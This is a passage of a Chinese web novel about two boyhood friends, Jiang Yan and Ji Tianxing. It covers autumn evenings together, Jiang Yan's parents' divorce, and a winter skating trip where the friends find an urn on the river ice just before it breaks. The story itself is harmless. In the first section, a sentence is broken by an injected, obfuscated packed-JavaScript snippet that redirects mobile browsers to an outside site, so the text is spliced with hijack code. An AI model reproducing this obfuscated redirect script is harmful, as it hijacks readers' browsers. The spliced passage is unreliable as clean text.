入秋了,太阳落得渐渐早起来,到家时外头已是黄昏。 两个小少年在厨房热了饭菜,就着粥和馒头分着吃何玉秋留下肉片炖豆腐和木耳炒白菜,晚霞从窗外透过来。 纪天星叽叽喳喳,和江晏说着他最近看的动画片和电视剧。可惜放假时回了乡下好些天,错过了许多剧情。 江晏一边嚼着大碴粥,一边安慰他:“过阵子楼下租碟的店里肯定能有,有空租来看就好了。” “也是呢。”纪天星又高兴起来:“你吃肉呀!”他把盘子转了一下,肉多的那边冲着江晏。 “我吃啦。”江晏道。 “你最近是不是又在不开心。”纪天星停下筷子,歪头看他:“你爸妈的事还没结果呢?” “没不开心。”江晏叹了口气:“随他们吧,我又管不了。” “那你吃那么少。”纪天星一脸不信:“你心情不好就不吃饭。” “我没有啊。”江晏道:“中午吃得比较多。” “咱们学校的盒饭能吃?”纪天星匪夷所思:“我一口都吃不下去,那个豆角上全是虫眼儿。”他嫌弃道。 “有的吃就挺好啦。”江晏道:“你没发现咱们学校还有中午只啃凉馒头和咸菜的?” “也是呢。”纪天星叹了口气,又喝了一口粥。 学校里什么家庭的孩子都有,有小轿车接送上下学的,也有父母双双下岗,运动会上的小白鞋都要和别人借着穿的。所以江晏说“有的吃就挺好”,也确实是句真的不能再真的话。 江晏看着毛茸茸的脑袋,心里总是有点软软的:“你吃你的就好了,不用想太多。” “我没想。”纪天星立刻反驳道:“我不像你,天天一肚子心事。” “你又不住在我肚子里。”江晏又笑,低头就着辣白菜,把碗里剩的粥都吃干净了。 吃完晚饭,江晏写作业,纪天星则在他边上画画儿玩儿——他在学校朋友寥寥,干脆下课也不出去玩儿了,就坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518164|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那儿写作业。有时候赶上作业留得少,等到放学的时候,他已经把作业都写完了。 纪天星画了一会儿,觉得累了,就凑过去看江晏写作业。 江晏写作业和他平时一样沉稳专心——专心地糊弄。纪天星看着他写语文阅读理解答案,越看越觉得不对劲。江晏直接是拿了一红一蓝两种颜色的笔,翻过练习册后面的答案,一边抄答案一边改——抄前一半答案用蓝的,抄后一半答案用红的,不仔细看,就是一副写完了对着答案批改过的样子。 他做假做得相当细心,有时候还拿改字带涂一涂,有时候把答案的顺序变一变,有时候同一句话换个方法表达,来个中译中…… 纪天星目瞪口呆:“你根本没在做作业啊!” “我在做啊。”江晏平静道:“我写了也改了。反正老师检查就是扫一眼。” “但是……” “而且看过就算是在脑子里过了。”江晏道:“留个印象就行了。” “可是你都没有动脑子……”纪天星难以理解:“这样真的能学会么?” “考试的时候就知道了。”江晏还是那副随意的样子。 “你这是假用功。”纪天星严肃地评价道。 “我根本也没想用功。”江晏转了转笔,笑了一下:“老师都是走过场,干嘛要我认真?应付过去就好啦。” 纪天星这下明白江晏的成绩是怎么回事了。江晏这个人,完全算得上聪明,但对大部分事情都不怎么上心。假如一件事花六分力气就能完成,他就绝不会花七分力气。他成绩中等偏上,努努力完全可以做优等生,但他就是……不会去非常努力地争取。 “差不多就行了”,“看开点儿”,都是他常常挂在嘴边的话。 纪天星瞪着他。 江晏看着他,就忍不住想笑。他伸出手,戳了戳纪天星的脸蛋儿。 纪天星没能躲开,不甘示弱地伸手也要戳他。然而江晏看着那么大个子,人却灵活得不可思议。纪天星左戳右戳,怎么也戳不到他,气得跳脚:“你欺负人!” “我没。”江晏笑眯眯的:“你自己手慢,那可不怪我。” 纪天星哼了一声,决定不和他一般见识,于是嘟着嘴走到一边去了:“不管你了,考试又不是我答卷儿。” 江晏又笑:“你还想管我。我爸妈都不管我。” 纪天星听了这话,却是微微一愣。他脸上那种气鼓鼓的神色消失了,过了一会儿,小心翼翼地凑过来,不大自然道:“那……那实在不行的话,考试前我给你补课。” 江晏觉得他的表情很有意思,于是又欠欠地伸手戳他:“我成绩也没那么差吧。” 纪天星躲开了他的手,撅着嘴走了:“你快写作业吧,万一呆会儿又停电,黑咕隆咚的累眼睛。” 江晏伸手又把数学作业掏出来,低头写题的时候,笑还在嘴角上挂着。 晚霞就那么一会儿,天色很快黑下来。江晏写完了作业,去看纪天星画的画。 纪天星学了一个多月素描,开学后就不再去上课了。但画笔并没有就此停下。江晏看着他的画,他画的是家里窗台上的那盆小小的仙人球。 江晏的仙人球不见长个儿,但看起来很有精神,小小一颗,昂首挺胸地呆在一众郁郁葱葱的盆栽里。江晏看看画,又看看仙人球模特,觉得画里画外,一切都真是可爱极了。 于是他在纪天星身边坐下来,托腮看他画画。 就在这时候,家里的电话忽然响了。 大晚上的,两个少年都被吓了一跳。纪天星率先跳起来:“可能是我妈……”他跑过去接起电话:“喂……” 片刻后,他神色收敛了一些,严肃起来:“是的,阿姨你好……嗯,他在的。”他向江晏招手,用口型道:“是你妈妈。” 19.秋老虎 5 金宝珍打电话过来,是着急要确认几份去年的进货底单的金额做费用拆分和开票。她人在市中心的新店铺那边,一时不方便过来。家里的座机没人接,于是她便又急三火四地挨个往江晏可能在的地方打电话。 她最近心情很坏,讲话也就格外不耐烦一些,埋怨要用到江晏的时候,江晏总是指望不上,害得她到处打电话找人。 江晏拿着电话,看了一眼外头的天色。天已经完全黑了。他沉默了一下:“行吧,我这就回去。就那几张单子,没有别的了是吧?你确认好了。” “对对对,你快点儿啊!这边急着用呢!” 电话被匆匆挂断了。江晏把话筒放回原位,去穿外套:“我回家一趟。” “可是天都黑了!”纪天星替他不安:“姥姥说这阵子晚上不太平,街上有抢劫的,让大晚上别在外头乱晃……” “没事儿。”江晏道:“再说离得也不太远……”他替金宝珍说话:“我妈急着要。” “那我陪你!”纪天星果断道。他丢下画笔,也跑来换衣服了。 江晏愣住了:“不用……” “两个人总比一个人安全点儿。”纪天星笃定道:“哦对,还要拿手电筒……”他很严肃地忙碌起来,飞速穿戴整齐:“好了,走吧!” 江晏很轻地从胸膛里突出一口气,觉得那里冒出了一团毛茸茸的暖意:“嗯。” 两个少年下楼去,纪天星坐上了自行车后座,一手搂着江晏的腰,一手打着手电筒,给他照路。 小巷里很是昏暗,许多铺面只在自家门口点一盏十瓦的黄灯泡,灯光幽幽,也就只能照亮门前那一小块地方,余下的都是深深浅浅的阴影。 手电筒的光把阴影分开,自行车前便出现了一条短暂而明亮的小路。光亮伴着自行车,一起不紧不慢地从秋日的夜晚中穿过。 巷子里很静,两个人都没有说话。风又冷又硬,不一会儿就把人吹透了。片刻后,江晏忽然感到纪天星靠近了些,把热乎乎的脸蛋贴到了自己背上。 整个身后一下子就暖起来了。那种暖意让江晏感到心里很踏实。 出了长乐巷,就是树西。街上立时变得明亮又热闹。夜市虽然没有夏日那样红火了,毕竟还有些摊位在出。江晏若有所思地扫了一眼,迅速骑过去了。 宁安南巷比长乐巷好上许多,巷子里装了路灯。江晏骑到楼门口,把自行车扛进去,带着纪天星上了楼。 这边是集中供暖的房子,但眼下还没到供暖期,所以屋子里倒比纪天星家里还冷一些。江晏想给纪天星倒杯水,然后想起来暖水瓶里的水是前天的,只能尴尬作罢:“你稍微等我一会儿。” “哦,不着急。”纪天星奔着鱼缸去了,他每次来江晏家都会去看鱼。 江晏翻箱倒柜地找文件,终于找到了金宝珍要的东西,于是赶忙给她打电话。电话打完了,一时也不能走,因为那边还要核对。 纪天星从鱼缸前回过头来:“你妈妈好厉害呀。” 江晏无奈道:“是啊。” “厉害很好啊。”纪天星羡慕道:“我妈妈要是也这么厉害的话,就不用总想着嫁人了。” 江晏知道纪天星家里的事,安慰道:“她大概也就只是说说。一个人在外头很辛苦,想着有人能帮一把,也挺正常的。” 纪天星难得流露出了一点怅然:“她不是说说的。前几天她给姥姥打电话回来,说她有男朋友了。” 江晏失语。纪天星还什么都没说,但他已经明白了。金宝珍离婚后,也会再嫁人么?想到这里,他走过去,轻轻拥住了纪天星。 “有后爸也没什么的。”纪天星叹了口气,看着缸里游来游去的金龙鱼:“她高兴就好了。听说那个男的挺有钱的。”他勉强笑了一下:“到时候我的零花钱多了,请你吃麦当当!” 江晏有很多想说的,但又觉得好像每一句话讲出来都很过分。他看着纪天星重新安静下去的神色,觉得星星也未必想不到那些事。于是他只是轻轻一点头:“好啊。”他安慰道:“日子很快的,你妈妈不是说她过年就回来了么……你看,现在都九月了。” “是啊。”纪天星又有了精神:“期末考完试,我就能见到她了!” 金宝珍的电话很快又打过来,说没问题了。江晏问她还有没有别的事,她说没了,然后很敏锐地反问:“怎么了?” “没什么。”江晏淡淡道:“我晚上住何姨姥姥家,一会儿就回去了。” 金宝珍不理解:“你大晚上不好好在自己家呆着……” “这边冷,她家烧炉灶,有热气。”江晏道:“再说你们都不回来。” 金宝珍提高了声音:“我这不是忙着么!我给你在工程局家属区这边买了个房子,写的你的名字,正办过户呢……” “嗯。”江晏无可无不可。他知道这是转移财产的手段。 “算了。”金宝珍似乎也懒得多说:“你自己照顾好自己吧。” 电话挂了。江晏拿起钥匙:“走吧。” 楼道里黑洞洞的。打着手电筒下楼的时候,纪天星拉住了江晏的手,小声道:“你妈妈也是替你打算。” “嗯。”纪天星的手总是热乎乎的。黑暗里,那种柔软的温暖驱散了空房子里的冷意。 出了楼门,外头的风好像更大了一些。江晏的心却轻盈了许多:“你吃糖炒栗子不?” “这个时间了……” “大概能赶上夜市散市。”江晏微笑。 于是他们骑着车又原路往回去。 巷口有几家烧纸的人。纪天星在江晏身后道:“今天是中元节呢。” “是啊。”江晏道:“你别回头看。” “为什么?”纪天星好奇。 “据说人肩上有两把火,走路不能回头。因为回头的时候,火就灭了,不能再保护你,容易招不干净的东西。” “但我没觉得不好啊。”纪天星喃喃道:“烧纸的那个火,又漂亮,又暖和的。” 江晏忍不住微笑了一下:“也是呢。” 纪天星还在他身后絮絮地说话:“我家里前几天也烧纸了。姥姥烧给她爸妈和哥哥姐姐,还有我姥爷……”他小声道:“然后我想到一件事。” “什么事啊?”江晏好奇道。 “姥姥好 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两个少年平安无事地穿过黑暗的巷子回到家中,也就重新回到了光亮与温暖里。 江晏借着纪天星烧热水的功夫,在炉灶上把栗子重新加热了一下,然后非常谨慎地熄灭了炉灶里的火——睡觉前火是一定要彻底熄灭的,不然怕煤炭中毒。 两个人吃了一顿糖炒栗子当宵夜,洗漱干净后,就一起爬到床上去。 电热毯开着,被窝里很暖和。为了省电,他们只在床头留了一盏台灯。 纪天星把随身听拿出来,和江晏一人一只耳机,靠在一处听歌。纪妙菲寄回来的cd里什么歌都有,有些看起来包装挺好的,里头却是个大杂烩。 他们听了半天,歌都是很好听的,可因为是方言,也听不懂唱的是什么。拿来歌词小册子,上头都是繁体字。于是江晏又从床上蹦下去,在纪天星的指挥之下把字典翻了出来,开始和他一起对着字典查歌词。 可是那怎么查得过来呢,所以再后来两个人都不说话了,只是默默听歌。 江晏聚精会神地对着歌词本,随身听里一个悠扬的女声在轻唱:“来日纵使千千晚星,亮过今晚月亮,都比不起这宵美丽,都洗不清我今晚所想,因不知哪天再共你唱……” 这首歌结束了。他觉得很喜欢,扭头想说什么,却发现纪天星靠在他肩头,已经睡着了。 江晏轻手轻脚地把纪天星的耳机摘下来,将小伙伴妥当地塞进了被窝里,关掉了电热毯。 随身听里放起了下一首歌,这一首歌终于不是方言了。 “春花和秋月它最美丽,少年的情怀是最真心……” 江晏在歌声里躺到了纪天星边上,望着窗外出神。月亮不知道什么时候钻出来了。农历七月十五了,它在天上高高挂着,看起来已经是圆溜溜的一个了。 中气十足的男声在他耳边唱着花好月圆,纪天星温暖的呼吸落在他耳朵上。 “……人生如烟云它匆匆过呀,要好好地去珍惜……” 江晏心绪平静,在被子底子握住纪天星热热的手,闭上了眼睛。 20.隆冬天 1 短暂的秋天过去,供暖还没开始,雪就已经落了下来。 江显声终于如愿以偿地等来了谢小芸离婚,把情人安置到了他新买的房子里。而金宝珍则咬牙切齿地发了话——她要拖死江显声。 有时候人就是这样,钻牛角尖,想要争一口气。江晏明白金宝珍的不甘心,可从心底觉得这样是犯傻,没什么意义。当然这一切并没有他说话的份儿。 江显声如果硬要离,其实可以起诉。不过他看上去没这个意思。江晏心里明白,那倒不是做丈夫的对金宝珍仍怀着什么藕断丝连的感情,只不过是两个人这些年一起做生意,彼此知道对方太多底细,所以想事缓则圆罢了。 婚姻是这样麻烦的事。只要结了婚,两个人就会不知不觉地缠绕不清,好像落进了一张网。再想分开,就千难万难了。 总之金宝珍和江显声的离婚进度就停在这里,没有什么下文了。即将劳燕分飞的两人各怀心思,各自忙碌,过上了一种实质上的分居生活。江晏对这些鸡飞狗跳的事早就麻木了,父母都不爱回来,他乐得个清净自在。 当然要说彻底的清净是不大可能的,毕竟这期间江显声还曾几度让江晏去和谢小芸吃饭。江晏本着无所谓的心去了,只觉得谢小芸热络得不大对头。 后来他仔细琢磨了一下,猜测江显声可能是有点想要自己的抚养权。金宝珍还年轻,一旦离婚了,再婚大概率还会有孩子。但谢小芸看上去不大可能有孩子了。而且也不光是孩子的事,可能还有财产的问题。江晏名下的房子和存款,说多不多,说少也并不少,总归是一笔资产。 琢磨这些事其实挺没意思的。反正他也做不了任何决定。但好像琢磨别人的想法是他的本能。无所事事的时候,那些念头很自然地就会在他脑子里绕圈。 因为这种察觉,所以他在江显声跟前对谢小芸总是保持着礼貌客气。这种温和的态度大概让江显声很满意,江晏因此还拿到了一笔零花钱。金宝珍知道后当然怒不可遏,江晏也没和她解释什么。他感觉自己对金宝珍已经说了足够多的话,然而做母亲的一个字也没听进去,所以他也懒得再讲了。 有时候江晏会审视自己,觉得金宝珍所言不假,自己确实挺自私,挺没良心的。但就算承认了这点,他对此仍然没什么愧疚感。从立场上来说,他知道自己是站在金宝珍这一边的,至于金宝珍怎么想,自己又是怎么做,那并不重要。 他在这种淡漠里度过了初二上学期。谢浩然夏天时考上了离家很远的高中。其他几个高年级的玩伴升入了初四,开始被学校强制补课。小团体的人一下子少了许多,也就甚少再呼朋引伴地走街串巷了。 李同顺好热闹,偶尔会为此感到遗憾。江晏倒觉得这样挺好的——如果他愿意,他和谁关系都能不错,但不代表他心里很爱参加这些拉帮结伙的活动。比起一大群人吵吵闹闹,两三好友聚在一起,对他来说要舒服得多。 校园生活平淡如水,日子也如水一样倏忽而过,期末考试结束,转眼就又是假期了。 放假总是很开心的,而寒假似乎又比暑假能玩的东西更多。 蒋春生的家长在区体育局上班,认识许多租赁体育用品的人,于是他借来了好多冰刀。祁斌带了冰尕,李同顺和江晏则一人拿了一副简易爬犁。纪天星和郑贺没什么能带的,于是两手空空,各自占了李同顺和江晏的自行车后座。而这次一起出来玩儿的还有两个女生,一个是蒋春生的表妹,另一个是祁斌的女朋友。 几个人在上码头路和树西街的十字路口碰了头,然后八个人四台自行车,浩浩荡荡地往江边去了。 大概有一周没有下过雪了,天虽然挺冷的,路面倒很干净。祁斌的女朋友何依依是个非常大胆的女孩子,毫不避讳地搂着祁斌的腰和他一路说笑,完全不在乎旁人的眼光。 学校其实不让早恋,但总有些胆大的少年人半明半暗地谈着恋爱。 蒋春生边骑边对李同顺小声嘀咕:“你看看人家自行车后头坐的,啧啧……再看咱们……” 李同顺不解:“咱们怎么了?咱们自行车后座上不是也有人么。” 蒋春生瞥了一眼李同顺身后瘦小的郑贺,又瞥了一眼江晏后座上叽叽喳喳的纪天星,啧声道:“你后头,小豆丁,晏儿后头,小神经,我后头,小鼻涕虫。” 蒋春生的表妹谭春雨只有六岁,是放寒假时姨妈没时间看着所以送到他家里的。小姑娘抱着一兜子冰刀鞋,闻言大声抗议:“你再说我坏话,我就要告诉姨妈了!” “祖宗……”蒋春生回头看了她一眼,愁苦道:“你确实在淌鼻涕啊。” 江晏轻轻一瞥,没说话。纪天星显然没让那些闲话往耳朵里去,这会儿正在江晏身后兴高采烈地絮叨:“你滑过旱冰么!我滑过!我以前有好多双旱冰鞋呢……感觉那个和滑冰差不多……” 江晏嗯嗯地应着,心里却在思考别的。有女朋友到底有什么可羡慕的。他真心觉得费解。他知道学校里有些人在谈恋爱。谈得要死要活的,那也是有的。但江晏看着他们,总觉得他们有种模仿电视剧或者成年人的可笑感。与其说是恋爱,倒不如说是夸张而蹩脚的表演,宣告自己与众不同的声明。 当然学校里更多的所谓恋爱其实很普通,就是一起吃饭,一起上下学,一起写作业,买一样的文具用。那和朋友有什么两样呢?根本也没什么两样嘛。至于说起亲密……他和纪天星经常脸贴脸睡在同一张床上——那岂不是远比恋爱还要亲密得多了。 江晏如此这般逻辑通顺地思索了一番,认定一切恋爱都非常幼稚,远不如自己所拥有的友谊这般珍贵,于是默不作声地用力蹬了几下车,离发牢骚的蒋春生远了点儿,以免那种幼稚的话语影响到自己。 深冬季节,江面已经冻得相当结实。几个孩子把自行车在江堤的石头围栏上锁好,带着东西下了江。 冰刀是体育馆那种拿来出租的大路货,本就不算是特别合脚。安全起见,蒋春生借来的还全是花刀,穿在脚上非常坚硬。唯一的好处就是不要钱。纪天星闻到了冰刀鞋里的味道,嫌弃万分地坐在那里纠结。 江晏已经习惯了他这个样子,在一旁安慰道:“回去洗洗袜子就好了……要么你再套一层塑料袋?” 别人都已经穿好冰刀下去玩儿了。纪天星踌躇了一会儿,终于想玩的心占了上风,他仰头看向江晏:“你有塑料袋么?” “有啊。”江晏把装饼干和火腿肠的袋子倒出来,拿给了他。吃的东西没地方放,于是只能塞进羽绒服两侧的口袋。因为塞得太满,两边都高高鼓了起来。 纪天星把塑料袋套在袜子外头,终于穿好了鞋,抬头看见江晏奇形怪状地站在那里,嘻嘻一笑:“你好像生了两个鱼鳍呀!” 江晏微微一笑:“是呀,大鱼这就游走啦!”说着非常熟练地在纪天星眼前滑了一圈儿。 纪天星赶紧站起来,没想到第一步就狠狠摔在了冰面上。 江晏面色一紧,立刻滑过去扶他。 祁斌这时候滑过来,非常欠揍地发出嘲笑:“你不是说你什么都会滑的么?” “我就是有段时间没滑了!”纪天星推开江晏的手,倔犟地试图站起来,结果又摔了个大马趴。他越是想爬起来,就越是摔倒,一连摔了好几次,气呼呼地坐在那里不动了。 祁斌笑得前仰后合:“你就吹吧……” 江晏嘴角翘着,眼里却没有笑:“你缺德不缺德,好像谁没摔过似的。” 他那嘴仿佛开了光,下一秒祁斌就呲溜一下斜着摔地上了。 这下轮到笑话别人的人来接受众人的嘲笑了。 纪天星坐在冰上,毫不客气地跟众人一起大笑:“哈哈哈活该!” 江晏担心地伸出手,想拉他起来。结果纪天星拍拍裤子,无视了江晏的手,自己咬牙慢慢站了起来,试探着往前走了几步。江晏紧紧跟在他后头,却见他在冰上倏然一蹬,瞬间滑出去老远。 江晏轻轻松了口气。 那头祁斌还在冰上乌龟划水,接受众人的嘲笑。何依依去拉他,没拉起来,反倒也摔了。李同顺和郑贺赶紧上前轮番去扶,结果祁斌也不知道是故意的还是确实身子太重,谁碰他谁都得跟着摔几回。 这下谁也不想去扶他了。祁斌坐在地上大叫:“太不够意思了你们!” 江晏向蒋春生使了个眼色,两个人从后面绕过去,一人拉一只胳膊,把他拎了起来。这下总算是好不容易站稳了。 纪天星不知道什么时候又滑了回来,不远不近地站在那儿,扬起小小的 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郑贺被她拉着,脚下的冰刀不稳当,一鞭子下去抽歪了,冰尕立刻要倒。蒋春生慌忙夺过鞭子,奋力抽了几下,把冰尕稳住了:“别闹,说好了两人一队,输了要请客吃饭的……” 小姑娘不高兴了,闷闷不乐地站在边上。 纪天星拉过她的手:“小气鬼,不理他们。” 李同顺也道:“让他们较劲去吧,妹子,咱们去玩儿爬犁。” 于是从身后推着小姑娘滑开了。 江晏把冰刀换回了鞋子,拖着两个简易爬犁向他们走过来。几个人立刻眉开眼笑,去玩儿爬犁了。 冬日江面平阔,爬犁能在冰上随心所欲地滑行。只是这里没有马匹或者大狗,人坐在爬犁杆上,杆子撑地的推力有限,还是要靠旁人跟着或拉或推才行。 小姑娘年纪幼小,当然要坐爬犁,剩下三个大男孩便互相轮流或推或拉。他们玩儿了一会儿,何依依和郑贺也过来了,说是祁斌和蒋春生在那儿较劲抽尕,看久了没意思。于是几个人有来有往,轮番打起了爬犁。 冬天在冰上疯玩儿,是很消耗体力的。大伙儿玩儿了半天,不知道谁嘟囔着说饿,于是又纷纷跑到江晏这边要吃的。 江晏那两个鼓鼓囊囊的衣兜终于瘪了下去。他把最后一包饼干撕开,递给纪天星:“吃吧。” 纪天星摇头:“手脏,不吃。”说完回头看了一眼聚在一起的其他人,指了指雪橇,对江晏道:“你快上来。” 江晏一愣:“啊?” “啊什么?”纪天星推他:“快上来快上来!光看见你推别人了,你自己都没玩儿。” 江晏摇头:“我个子大,太沉了,你推不动我……” “你都没试试怎么知道!”纪天星坚持:“快点儿嘛!” 于是江晏只好坐了上去。 纪天星立刻高兴了:“咱俩一起使劲,一二三……” 江晏双手握住爬犁杆向后一撑,纪天星在后头推了他一把,爬犁立刻滑出去老大一截。 片刻后纪天星又蹬着冰刀滑过来,再次猛推了他一把。刚好江晏的爬犁杆又一次撑在地上。 有了惯性,后面就都容易了。越往江心去冰面越是光滑,后来不用纪天星推着,爬犁也能自己向前滑动了。 “我就说可以的吧!”纪天星滑在江晏身边,得意道。 江晏想说一句什么,却见他突然加速,轻盈灵巧地滑到前面去了。 爬犁加上一个人,毕竟很重,再怎么用力用爬犁杆撑着冰面,速度也还是渐渐慢下来。江晏从爬犁上跳下来,准备把爬犁拉回岸边,却发现纪天星在前面停了下来,正低头看着什么。 冬天江上有时候会有清沟——就是那种没有冻结实,隐隐还有流水的地方。那种地方是很危险的。 江晏立刻丢下爬犁跑过去:“星星……” 纪天星回过头,神色有点迷惑:“你看,这里有个奇怪的东西……” 江晏跑过去,在他身边停下了脚步。他们脚下的冰面很实,蓝色的坚冰一眼望不见底。 但江晏仍然面色一变,拉着纪天星后退了好几步。 他绝对不会认错,冰面上是个骨灰盒。 21.隆冬天 2 江晏想要拉着纪天星赶紧离开,但蒋春生不知道什么时候跟了过来,看见冰上的东西,立刻大起嗓门嚷嚷:“你们快来看,这是啥啊!” 这下所有人都围了过来。 “卧艹,是骨灰盒!”李同顺震惊:“谁把这玩意儿放冰上了……” 何依依有点害怕:“真的是骨灰盒么?怎么会有这个啊……” 时已正午,天色半阴半明,日头藏在云后,江上是一片雾昭昭的灰色。朔风没由来地卷起,吹得人一阵冷战。 江晏一手拉着纪天星,一手拦着冲过来探头探脑的祁斌:“不知道谁放在这儿的。走吧,没什么好看的……” “哎呀,都遇上了!打开瞅瞅吧!”祁斌挽起袖子:“里头说不定有什么宝贝呢!” “这玩意儿哪能随便动啊!”李同顺赶紧拦他:“你嫌命太硬了是么?” “那都是迷信!”祁斌满不在乎:“哎你自己胆子小就站边上去……” “我说你是不是虎啊?”李同顺焦急道。 他们正争执着,谭春雨一下子哭了起来,拉着蒋春生的胳膊往外拽:“走吧……哥,快走……害怕……” 江晏在哭声里听到了一声非常轻微的碎裂声,心下猛然一沉:“赶紧走吧,别都站在这儿……江心不安全。” 说着把还在发愣的纪天星往后推,另一只手去拉李同顺。 正在吃东西的郑贺后知后觉地滑了过来:“你们干啥呢……”他看见冰上的东西,也是愣住了:“那玩意儿是啥啊……” 脚底下的碎裂声更清晰了。江晏吼他:“别过来!快往回去!冰面要禁不住了!” 所有人被他吼得一愣。蒋春生看了一眼脚下,皱眉道:“这不是冻挺厚的么,你别老没事儿吓唬人行不行……”话是这样说着,但妹妹一直在使劲拽他,他不得不跟着小姑娘滑远了一点儿。 何依依迟疑着,伸手扯了扯祁斌,祁斌却仍在看那个骨灰盒。 纪天星被江晏拖着滑出老远,一直滑到爬犁边上,终于回过神来。他看了一眼江晏的脸色,突然停下了脚步,伸手摸到江晏衣兜里的饼干,转身向祁斌砸了过去。 祁斌被砸中,立刻生气地回头:“小神经!你又发什么神经啊!” 他终于放弃了研究冰上那个骨灰盒,紧蹬几步,滑过来,想跟纪天星讨一个说法。何依依慌忙跟上来。 于是大伙儿都不约而同向江岸的方向去了。 就在所有人刚离开那里十几米的时候,冰面忽然轻轻一颤。 李同顺望向他们片刻前聚堆的地方,呆住了:“妈呀……” 众人回头望去,眼见着刚刚那个安放骨灰盒的地方,冰面断裂开来,一侧缓缓翘起,一侧缓缓下沉。骨灰盒慢吞吞地跟着断冰倾斜,突然无声地滑入江水之中。而那看起来厚重的冰也跟着不断碎裂,不一会儿,江上便只剩一个冰洞了。 大伙儿面面相觑,这下全都慌慌张张加速往岸边去了。 等到上了岸,少年人们终于开始后怕。 蒋春生抱着哇哇大哭的表妹,困惑不解:“真是邪门儿了,那冰那么老厚……” 江晏仍揽着纪天星的肩,闻言叹了口气:“你们没听见脚下有动静啊?” “完全没有啊。”何依依抚着胸口,惊魂未定:“好吓人……” “我也没听见。”李同顺道:“多亏了晏儿耳朵灵。” “差点儿就出事了。”何依依紧紧挽着祁斌的胳膊:“有些事真的不信不行……太晦气了……” 祁斌还在嘴硬:“就是人聚太多了冰禁不住了……可惜没打开那个盒子看看……” “你快拉倒吧!”李同顺骂他:“要不是小纪,你差点儿就掉冰窟窿里了!” 纪天星一直没说话。江晏回头,发现他在看郑贺。 郑贺两眼放空地站在那儿,不知道在想什么。 纪天星拉了拉他的衣袖:“小贺子?” 郑贺转过脸来,手里的冰尕啪地一声掉了,人也跟着咚地一声倒在地上。 这下所有人都慌了,围在一起喊他。 江晏伸手摸了摸他的额头,数九寒天的,郑贺的额头直烫手:“发高烧了……” “刚刚还好好的呢!”祁斌费解道:“这是什么纸糊的身体啊!” “该不是撞邪了吧!”蒋春生不安道。 “哪有什么撞邪!”祁斌不满道:“就是他身体太差了。小贺子一年到头总在感冒……真是的,玩儿不了那就不要出来玩儿啊!” “说这些有什么用!”李同顺匆忙坐在边上脱冰刀:“得赶紧把人送回家才是。” 接连出了事,所有人都没心情接续滑冰了。再说时间也到了中午。于是一场冬日玩耍就这么草草结束了。 郑贺烧得实在太厉害,江晏和李同顺轮流背着他,去长乐巷的诊所打退烧针。纪天星也跟在后头,帮忙推他俩挂着爬犁的自行车——总不能都丢在江边。 天擦黑的时候,小贺子退了烧醒过来,发现回到了家里,还颇为惊奇地问大伙不是在滑冰么……看上去一点儿都不记得骨灰盒之类的事了。几个小伙伴面面相觑,谁都没有向他再提那事。郑贺妈妈在儿子枕头底下塞了把剪刀,然后要留几个孩子吃晚饭,大家赶忙推辞了。 李同顺喊着饿,出了门就急三火四回家去了。江晏则驮着纪天星,沿着长乐巷继续往前,回永和大院儿。 何玉秋上晚班,家里没有现成的饭。原本是给了纪天星零用钱,让他在外面吃一些的。但纪天星说什么都不想吃,江晏便直接送他回家了。 两个孩子换了衣服,江晏在灶台前熟练地生火,看了一眼纪天星的脸色:“没啥好害怕的,人死如灯灭。祁斌说得对,就是人太多了,都站在那儿,所以江面禁不住了。” “我不是害怕那个骨灰盒。”纪天星抱膝坐在灶台前的小马扎上,火光把他的脸映得红红的,那张向来活泼快乐的小脸上有少见的心事重重:“都怪我。我要是不往那边滑,不好奇停下来看,大家也不会过来……后面也就不会有危险了……它就好像在那儿特意等着我,让我把所有人都喊过来似的……多吓人啊……”他低声道:“要是大家都掉进去了……要是你掉进去了……我不是害人了么……” “这不是没事么。”江晏在他身边坐下,搂住他,轻轻拍了拍:“再说了,就算它真是什么不好的东西……冬天江上人来人往的,好多人都走冰面过江。你看不到,肯定也会有别人看到,有别人围观……”他安慰道:“没准儿正因为你先看到,所以它就掉水里了没了,别人就遇不上这个危险了。这么想想,你其实救了好多人,是功德一件呢。” “真的么?”纪天星将信将疑。 “真的。”江晏信誓旦旦:“祸福这种事不能只看当下的。” “好迷信哦。”纪天星终于露出了一点笑容。 江晏便也笑了:“那么用迷信的话讲,咱们都是福大命大嘛。”他说着起身,开始在厨房里寻觅。纪天星也跳起来,和他一起琢磨晚上吃什么。 何玉秋过日子,家里的东西实在是没少囤。纪天星跑到阳台上,给江晏看柜子里码好的冻豆腐和煮好了冻起来的白肉排骨。江晏于是拿了些排骨和冻豆腐,又搬开压缸石,从大缸里捞了一颗酸菜。 他干活儿很利索,切菜洗菜,都不用纪天星插手,不一会儿就把酸菜排骨炖上了。等大米饭煮好,热腾腾的菜也炖好上了桌,配一点绿油油的韭菜花酱蘸着脱骨肉来吃,就是这个季节里本地最寻常却也最完美的一顿饭了。 中午没吃上饭,于是晚上这一顿,两个人都吃了不少。整整一颗酸菜,四大块带着厚肉的脊骨和一大块冻豆腐,最后居然菜毛都没剩下,连汤都被纪天星拌着米饭打扫干净了。 吃饱喝足,他又有了精神,叽叽喳喳地和江晏一起收拾灶台。等到所有的活儿都干完了,纪天星像平时那样提着水壶烧水,江晏突然发现他走路一瘸一拐的:“你的脚怎么了?” “有点疼。”纪天星不太在意:“可能是摔倒的时候崴到了。没事儿……” 江晏皱眉:“脱下来看看吧,别是被冰刀鞋硌破了。” 纪天星在小马扎上坐下来脱袜子,脱到一半,咬住了嘴唇。江晏凑过去,心也是微微一惊——确实硌坏了,而且还坏得不小,血和袜子都黏在一起了。 他低声道:“破这么严重……你怎么不早说啊……” “光顾着别的事了……”纪天星:“再说它也不是很疼……谁知道这样了……” 江晏不信他:“能不疼么。不疼的话,你怎么都不敢脱袜子了?” 纪天星嘟囔:“不碰的时候也没那么疼嘛……” 江晏叹了口气,洗干净手,倒了一碗凉开水,在里头加了点盐,一点点冲洗那些黏在一起的地方。 